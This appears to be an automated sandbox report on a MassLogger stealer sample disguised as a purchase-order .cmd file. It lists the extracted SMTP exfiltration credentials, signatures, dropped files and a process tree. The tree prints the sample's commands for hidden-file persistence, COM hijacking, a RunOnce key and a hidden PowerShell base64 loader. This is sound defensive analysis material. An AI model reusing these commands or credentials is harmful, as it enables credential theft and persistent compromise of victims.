Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/04/2026, 06:08

General

  • Target
    Re PO#HD80300-Order-SD00PG2006.cmd
  • Size 122KB
  • Sample260427-gwd9pacw21
  • SHA256 248812accf82ca745dd93e7f825be990dec0dfdce44ec3e1d8475f523962fa5c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    mail.taikei-rmc-co.biz

  • Port

    587

  • Password

    dy8tm;jRtJO[:bG:

Extracted

Family
  • masslogger

Attributes
  • exfiltration_mode

    #SMTPEnabled

  • expire_time_date

    2025-12-17

  • host_password

    dy8tm;jRtJO[:bG:

  • host_port

    587

  • host_receiver

    [email protected]

  • host_sender

    [email protected]

  • host_server

    mail.taikei-rmc-co.biz

  • ssl_slate

    True

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: MassLogger

    Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.

  • Detects DonutLoader 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies registry class 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Accesses Microsoft Outlook profiles
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • outlook_office_path
    • outlook_win_path
    PID:3120
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Re PO#HD80300-Order-SD00PG2006.cmd"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Re PO#HD80300-Order-SD00PG2006.cmd"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1140
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat"
          4⤵
          • Views/modifies file attributes
          PID:3652
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}" /ve /t REG_SZ /d "System Shell Extension" /f
          4⤵
          • Modifies registry class
          PID:1520
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f
          4⤵
          • Modifies registry class
          PID:968
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
          4⤵
          • Modifies registry class
          PID:4668
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Palestinian" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat\"" /f
          4⤵
          • Adds Run key to start application
          PID:3740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "[Runtime.InteropServices.Marshal]::freeHGlobal([IntPtr]::Zero); [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-Content 'C:\Users\Admin\AppData\Local\Temp\billion.tmp' -Raw).Replace('`r','').Replace('`n',''))) | Out-File -FilePath 'C:\Users\Admin\AppData\Local\Temp\Congress.ps1' -Encoding UTF8"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\Congress.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gld1buli\gld1buli.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1068
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES117F.tmp" "c:\Users\Admin\AppData\Local\Temp\gld1buli\CSC7E7672286197453E8213461BFFACD5D.TMP"
              6⤵
                PID:4664

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 a7dd972424019b0668bf196b34e30295110a5c9378ea780675fd8f5a7caa4067
          • MD5 SHA1 SHA512 TLSH

          Congress.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\Congress.ps1
          • Size 87KB
          • SHA256 7ac07536c76c62c163ceabf2e2e877fe3877b3414d95d36d50d8d5838a548fed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RES117F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES117F.tmp
          • Size 1KB
          • SHA256 57c430fa2e4dda913eae21ca81efb2cdfa517f842edd06ad42958a789e8e80d5
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_kspaybs2.yso.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kspaybs2.yso.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          billion.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\billion.tmp
          • Size 116KB
          • SHA256 1a8e4c0b0d7be64f33b4d6b26fbae42cf0cb9408d378790ffa9d1ed5df05d05a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          billion.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\billion.tmp
          • Size 20KB
          • SHA256 f9d3c080bfeb19ee5c7bacbec789239bad282dc44c2978d4f54327282758b577
          • MD5 SHA1 SHA512 SSDEEP TLSH

          gld1buli.dll

          • Path C:\Users\Admin\AppData\Local\Temp\gld1buli\gld1buli.dll
          • Size 3KB
          • SHA256 b0a7c80c0536addaca24a8dd8d63afd4f5ddf4f621f85e267993172628f2248a
          • MD5 SHA1 SHA512 TLSH

          GUILTY.bat

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat
          • Size 122KB
          • SHA256 248812accf82ca745dd93e7f825be990dec0dfdce44ec3e1d8475f523962fa5c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CSC7E7672286197453E8213461BFFACD5D.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gld1buli\CSC7E7672286197453E8213461BFFACD5D.TMP
          • Size 652B
          • SHA256 ca2efb47746882663b26e26c206bae230b14a35b8b010210abc977bda9a87415
          • MD5 SHA1 SHA512 TLSH

          gld1buli.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gld1buli\gld1buli.0.cs
          • Size 835B
          • SHA256 f3c4712d22a8e99bf6c6ac0883cf43b47a0db7074fd5853a1a2adca227494e0b
          • MD5 SHA1 SHA512 TLSH

          gld1buli.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gld1buli\gld1buli.cmdline
          • Size 369B
          • SHA256 f2789d5eccf4a72113dddf41c9982d64ae7303d1b8b0f0177c2f7155d3d1842c
          • MD5 SHA1 SHA512 TLSH

          memory/1068-81-0x00000195ADC80000-0x00000195ADC8C000-memory.dmp

          memory/1556-90-0x0000020E99C40000-0x0000020E99C4C000-memory.dmp

          memory/1556-85-0x0000020E9B510000-0x0000020E9B522000-memory.dmp

          memory/1556-84-0x0000020E99C40000-0x0000020E99C4C000-memory.dmp

          memory/1556-83-0x0000020EB3B20000-0x0000020EB3B28000-memory.dmp

          memory/1588-43-0x0000020119C20000-0x0000020119C30000-memory.dmp

          memory/1588-44-0x0000020119C20000-0x0000020119C30000-memory.dmp

          memory/1588-59-0x0000020101590000-0x00000201015A2000-memory.dmp

          memory/1588-51-0x000002017F7E0000-0x000002017F802000-memory.dmp

          memory/1588-52-0x0000020119C20000-0x0000020119C30000-memory.dmp

          memory/1588-57-0x000002017F270000-0x000002017F31E000-memory.dmp

          memory/1588-58-0x00000201014E0000-0x00000201014EC000-memory.dmp

          memory/3120-86-0x0000000000DD0000-0x0000000000DE0000-memory.dmp

          memory/3120-88-0x00000000044A0000-0x00000000044BE000-memory.dmp

          memory/3120-92-0x0000000005E80000-0x0000000005ED0000-memory.dmp

          memory/3120-93-0x000000000F610000-0x000000000F7D2000-memory.dmp

          memory/4664-78-0x0000021CF4FD0000-0x0000021CF4FDC000-memory.dmp